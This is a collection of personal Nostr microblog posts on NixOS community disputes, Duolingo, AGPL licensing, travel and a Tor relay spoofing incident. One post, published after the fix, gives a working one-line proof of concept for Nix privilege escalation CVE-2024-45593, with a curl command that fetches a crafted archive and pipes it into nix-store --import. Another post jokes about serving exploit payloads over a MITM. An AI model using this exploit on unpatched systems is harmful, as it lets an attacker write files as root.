Nostr notes by Pierre Bourdon

Hot take: the only two good options for keeping a sane long-term ...

2025-04-27T13:21:54Z

Hot take: the only two good options for keeping a sane long-term Mastodon presence are 1. self-hosted instance; 2. the biggest instance that exists. Both basically nullify the risk of getting into pissing matches between instance operators through two different means.

In one case because your instance is synonymous with you personally, in the other case because the other instance owner's will be shooting themselves in the foot hard and most of the people you interact with there will move.

Ah yes, what a good joke, the #nixos guy who got banned from ...

2025-04-01T12:14:46Z

Ah yes, what a good joke, the #nixos guy who got banned from Hachyderm for being an asshole complaining about "woke ideology" posted on the NixOS forums a "joke" about being endorsed by Elon Musk, going on the Joe Rogan podcast, and moving the foundation's seat to Texas.

"April's fool lol definitely not projecting"

Btw, that guy was in charge of recruiting students for an outreach program/internship last year 🤡

^ this was not an April's fool

https://discourse.nixos.org/t/breaking-doge-to-recommend-nix-widely/62490

Is there a single person who's managed to print on an ...

2025-03-12T14:52:22Z

Is there a single person who's managed to print on an envelope correctly on the first go using a new printer?

It took me 8 tries this time I think.

TIL from https://github.com/iwsfutcmd/ptouch that it looks like ...

2025-03-10T14:08:31Z

TIL from https://github.com/iwsfutcmd/ptouch that it looks like someone really cared about printing porn on their label printer and didn't even bother with plausible deniability (check the sample pictures in the repo, mild NSFW).

(h/t Linus (npub12z2…3e0f))

The DetSys duality: - Look at how cool and in touch with the Nix ...

2025-03-10T11:33:11Z

The DetSys duality:

- Look at how cool and in touch with the Nix community we are, one of our cofounders is the creator of Nix! (don't look too closely at when we were actually founded and when eelco joined our company though)

- Oh no we definitely don't hold any control over the CppNix project and all of eelco's work on CppNix is voluntary and not paid for by DetSys, it's on his own time, we don't influence this.

(Depending of course on who they speak to and when.)

#nixos

I'm seeing an overwhelming majority in favor of the anime ...

2025-03-04T13:28:13Z

In reply to nevent1q…wh2u
_________________________

I'm seeing an overwhelming majority in favor of the anime shelf right now, and it's surprising to me given that 1. vocaloids originally come from a computer program, not any specific series*; 2. significantly more games have primarily featured vocaloids compared to anime series (in fact, have any? the project sekai films are releasing soon but if anything that's more an argument in favor of games...)

* Let's not talk about VNs please.

Hard life problems I'm currently facing: do Vocaloid ...

2025-03-04T12:45:07Z

Hard life problems I'm currently facing: do Vocaloid figures/merch go on the "Anime" shelf of the merch cabinet or the "Games" shelf?

depends on your tech choice - for some choice of package ...

2025-02-12T00:39:49Z

In reply to nevent1q…hf4l
_________________________

depends on your tech choice - for some choice of package technology this would be a major project, for others like containers it's just a case of building some fairly basic orchestration (e.g. with something like buildbot), for others like Nix it's free and you "just" get that trivially (the distributed builds, the shared caching, tests, reproducible builds, ...)

this is such a huge design space that you'll have to be ...

2025-02-12T00:32:21Z

In reply to nevent1q…6ewx
_________________________

this is such a huge design space that you'll have to be significantly more precise about what you want to do :)

The CppNix team has discovered today that the #NixOS infra has ...

2025-02-11T23:48:31Z

The CppNix team has discovered today that the #NixOS infra has actually been running on Lix for a few months because their software is too shit to reliably function on large-scale critical infrastructure (e.g. the build farm supporting NixOS). Like, it just segfaults or has protocol incompatibility regressions every version.

It's been really interesting watching their indignation at having actual competition doing their job better than they do it themselves.

https://github.com/NixOS/infra/pull/554

Commissioned https://vgen.co/angelrosestar / ...

2025-02-06T22:28:32Z

Commissioned https://vgen.co/angelrosestar / https://bsky.app/profile/angelrosestar.bsky.social today to draw a version of my avatar that's not just a rip from game assets - pretty happy with the results, I'm now a slightly less unoriginal cat online.

A++ would recommend paying artists.

Hotel pricing in major european metros has become completely ...

2025-02-02T12:24:15Z

Hotel pricing in major european metros has become completely insane for solo travelers. Looking 3-4 months ahead in Amsterdam, I can barely find anything below 150€/night that isn't a "bed in a 8 ppl dormitory" kind of option. Even extending to locations ~ 45min away from the city center or in surrounding cities, basically nothing. Absurd.

With the right setup of flights I could almost fly ZRH-AMS every day and sleep in my apartment for that price...

This was a good use of 2,000 JPY (~12€). ...

2025-01-10T12:59:34Z

This was a good use of 2,000 JPY (~12€).

Duolingo's magic is that it made a bunch of people who have a ...

2024-12-29T00:37:07Z

In reply to nevent1q…cp9x
_________________________

Duolingo's magic is that it made a bunch of people who have a passing interest in learning languages believe they're learning languages by addicting them to daily dopamine-delivering minigames (with a monthly subscription). Most people have no reference for what's efficient language learning to compare it against anything, and pretty much everyone who *does* have another comparison point finds Duolingo worse.

as a data point, after taking 3 months of evening German classes ...

2024-12-29T00:33:22Z

In reply to nevent1q…8a85
_________________________

as a data point, after taking 3 months of evening German classes and reaching end of A2 (wasn't starting entirely from scratch), I did the Duolingo placement test to see how far their course went, and passed it with 0 errors (which unlocked everything). A friend of mine has been at it daily for 2.5 years (very proud of his streak) and hasn't reached this level yet.

in terms of time efficiency to learn a language, I'd rank ...

2024-12-29T00:30:11Z

In reply to nevent1q…0vjd
_________________________

in terms of time efficiency to learn a language, I'd rank Duolingo at the bottom of what I've used personally. It's only slightly better than "not doing anything", because frankly it sets you up with shitty basics and tends to make people overvalue their actual skills due to the triviality of the testing done by Duolingo.

Quoting someone I can't recall: "just because you can walk 50km along the rail tracks doesn't mean you wouldn't have been better off riding the train".

Duolingo's decisions make a lot more sense when you realize ...

2024-12-28T22:51:47Z

In reply to nevent1q…txln
_________________________

Duolingo's decisions make a lot more sense when you realize that their performance as a business is in no way tied to how good they are at teaching languages.

TIL that some newer cable car projects in Switzerland embed ...

2024-12-28T13:59:24Z

TIL that some newer cable car projects in Switzerland embed strands of fiber optics within the cable car's carrier cable.

https://schilthornbahn20xx.ch/en/Info/Facts__and__Figures 48 singlemode strands!
https://www.fatzer.com/en/products/integra-integra-data-27

Makes sense, but still smart engineering!

Looks like we now have confirmation that the spoofed source IPs ...

2024-11-07T11:20:42Z

Looks like we now have confirmation that the spoofed source IPs port 22 scanning is a deliberate attack against Tor relays: https://r00t.monster/

It's kind of funny and sad how the attacker is so alone and so bad at PR that it took more than a week for anyone to notice their webpage, all the while they've been hard at work seething and screenshotting everything like a maniac. F :(

yes and yes, want to be CTO as well?

2024-11-05T01:27:51Z

In reply to nevent1q…02a4
_________________________

yes and yes, want to be CTO as well?

New update: the CTO from "watchdogcyberdefense.com" has ...

2024-11-05T01:20:56Z

In reply to nevent1q…uu3d
_________________________

New update: the CTO from "watchdogcyberdefense.com" has been in my emails, and I can only summarize our exchanges by my current feeling of "wow there should be an exam to be allowed to send more than N abuse complaints/day".

To quote from them: they're seeing "1.3 billion attacks logged in the past 24h", they claim IPs are infected because VirusTotal says so, and they're trying to make a deal with me where if I iptables OUTPUT DROP their network they'll stop sending abuse complaints to Hetzner.

Update: I got an email from Hetzner's legal team today saying ...

2024-10-30T15:06:57Z

In reply to nevent1q…6gp2
_________________________

Update: I got an email from Hetzner's legal team today saying they came across my blog post (nice!). Paraphrasing:

- They're monitoring and understand that there is no actual abuse being done from these Tor relays getting spoofed.
- They emphasized that they do not routinely take action on this kind of abuse complaints, and that's why they forward them without requiring reply/action from the customer.

Love hearing this, and I'm actually impressed by Hetzner's response! Major props.

I landed in London 8h ago and it took me until now to notice that ...

2024-10-29T20:40:12Z

I landed in London 8h ago and it took me until now to notice that while my phone correctly switched from GMT+1 to GMT+0, my watch was stuck on GMT+1 because Bluetooth is a broken mess as always.

That explains a few things that happened today...

On my blog: One weird trick to get the whole planet to send abuse ...

2024-10-29T10:33:55Z

On my blog: One weird trick to get the whole planet to send abuse complaints to your best friend(s)

https://delroth.net/posts/spoofed-mass-scan-abuse/

Summary of my adventures from last evening, as read in this Mastodon thread: https://mastodon.delroth.net/@delroth/113387965977159983

#infosec #networking #tor

Encountered a small space time distortion during my German ...

2024-10-23T15:52:48Z

Encountered a small space time distortion during my German classes today.

Finally a cloudless evening in Zürich. Photo taken from my ...

2024-10-18T18:17:34Z

Finally a cloudless evening in Zürich. Photo taken from my apartment in the middle of the city, even with all the light pollution it's easily visible with binoculars!

I think a bunch of people don't block aggressively enough to ...

2024-10-09T14:46:25Z

In reply to nevent1q…l5hf
_________________________

I think a bunch of people don't block aggressively enough to realize how small the vocal minority of assholes is.

It's common these days that I open an alt-right brigaded post on Twitter and I see like 70% of the hate posters already blocked by my personal blocklist.

They think "oh, you can't just ban those people, there's too many and they keep coming back" but nah, you just need to ban harder really.

For people voting in the #nixos leadership election: a quick list ...

2024-10-08T04:07:49Z

For people voting in the #nixos leadership election: a quick list of which candidates signed the community's open letter against military sponsorship, to assist in decision making.

https://gist.github.com/delroth/1ffb214ee95ad16da7311ca3d868d806

Now that Nix 2.24.6 is out, my oneliner PoC for CVE-2024-45593: $ ...

2024-09-10T18:16:00Z

Now that Nix 2.24.6 is out, my oneliner PoC for CVE-2024-45593:

$ nix-store --export $(nix-build -E '(import <nixpkgs> {}).runCommand "exploit" {} "mkdir -p $out/zzz; ln -s /root $out/foo; touch $out/zzz/pwned"') | sed 's/zzz/foo/' > pwned.nar

This creates a .nar which when imported into the Nix store by Nix 2.24 will write an empty file in /root

$ curl https://delroth.net/pwned.nar | nix-store --import

Rarely are LPE vulns so trivial to trigger and exploit.

to avoid buffering archives in their packed form (either to RAM ...

2024-09-09T22:13:38Z

In reply to nevent1q…sjl0
_________________________

to avoid buffering archives in their packed form (either to RAM or to disk), Nix streams unpacking to the /nix/store and checks the signature of the extracted data at the end. Which in theory is fine... until you have a vuln at unpacking time like this one. Or a vuln in the NAR parser (which isn't fuzzed, afaik).

lol there are apparently Nix users that have their cache upstream ...

2024-09-09T21:53:47Z

lol there are apparently Nix users that have their cache upstream configured as http:// because "the NARs are signed, what could go wrong" and "that way transparent proxies can work better".

Who wants to set up a MITM at next NixCon serving GHSA-h4vv-h3jq-v493 payloads? :>

that video linked in Wedson's retirement mail is... damning, ...

2024-08-29T16:41:55Z

In reply to nevent1q…7ttu
_________________________

that video linked in Wedson's retirement mail is... damning, to say the least. Wow. And the fact that this is apparently just acceptable behavior in that community...

"In the Netherlands alone, these solar panels generate an ...

2024-08-19T17:16:22Z

In reply to nevent1q…axvt
_________________________

"In the Netherlands alone, these solar panels generate an output equivalent to at least 25 medium sized nuclear power plants."

That seems an order of magnitude wrong. https://www.cbs.nl/en-gb/news/2024/10/nearly-half-the-electricity-produced-in-the-netherlands-is-now-renewable claims 21TWh for solar in NL in 2023, average NPP in the USA in 2021 based on https://www.eia.gov/energyexplained/nuclear/data-and-statistics.php data (+ number of plants from https://www.eia.gov/energyexplained/nuclear/nuclear-power-plants.php) is 14TWh.

and like, that's not theoretical. As an example, the version ...

2024-08-17T03:24:43Z

In reply to nevent1q…yfrg
_________________________

and like, that's not theoretical. As an example, the version of Nitter distributed by Nix / nixpkgs violates the AGPLv3 like this (it applies a patch that is not present in the sources that their modified Nitter links to): https://github.com/NixOS/nixpkgs/blob/nixos-24.05/pkgs/by-name/ni/nitter/package.nix#L22

I don't think marcan is making the argument that you ...

2024-08-17T03:23:18Z

In reply to nevent1q…72ra
_________________________

I don't think marcan is making the argument that you can't comply with a link to github, that's very much the canonical way to do it.

It's just very easy to mess up if you do it this way. Like, let's say that you make your software link to its source on Git. But then you also package it as a .deb / .rpm or whatever, and during this packaging process you apply a patch. Oops, suddenly you're not actually linking to the source code of your modified version anymore, not compliant.

this is wrong because AGPLv3 restricts modifications / creating ...

2024-08-17T00:42:32Z

In reply to nevent1q…psyp
_________________________

this is wrong because AGPLv3 restricts modifications / creating derivative works, not usage. Clause 13 says "if you modify the Program, your modified version must [...]" not "if you run the modified Program".

You are not allowed to create a derivative which does not have a feature to prominently offer its source code. Whether you run it or not, whether users exist or not, etc. is irrelevant. Yes, that's absolutely dumb, that's the point I've been trying to make.

That's without even getting into the fact that really, the ...

2024-08-16T02:18:10Z

In reply to nevent1q…s4nz
_________________________

That's without even getting into the fact that really, the AGPL is GPL + a "usage restriction" clause camouflaging as not being one (because that would be against the FSF's principles).

I suspect most of the AGPL users would be better served with some of the more permissive source-available licenses. Unfortunately, people seem to have allergic reactions to non-OSI approved licenses, and AGPL being OSI approved even though it sucks means it gets regarded more highly than better alternatives.

Hot take, don't @ me: AGPL should never have been an OSI ...

2024-08-16T02:16:08Z

Hot take, don't @ me: AGPL should never have been an OSI approved license.

The license is basically a compliance trap, and I would posit that > 99% of modified AGPL software violates the license.

This leads to a world where license enforcement is entirely up to arbitrary decisions by the copyright owner. Any contributor to an AGPL software package (without CLA) can go and mass-send C&Ds and/or request $$$, kind of like the Creative Commons copyright trolls have been doing for CC-BY violations.

Nostr event nevent1qqsg5mh5hp0xll82w59l04k0gnl3jfky089jpkwvz26qcfesa7e2m7szyqlklsmmz50m5zlrums3tmcl028km4ynlx4gjj066kvlvk7v0ykvudgxw6z

2024-08-13T13:41:02Z

tbf that's all under the assumption that the story you're ...

2024-07-20T14:13:34Z

In reply to nevent1q…f2zq
_________________________

tbf that's all under the assumption that the story you're hearing is true, and that's not the story I've heard about that outage.

(I think that "file corrupted" theory is mostly being thrown around by people who are, for some reason, trying to link this to the unrelated but time-correlated Azure outage...)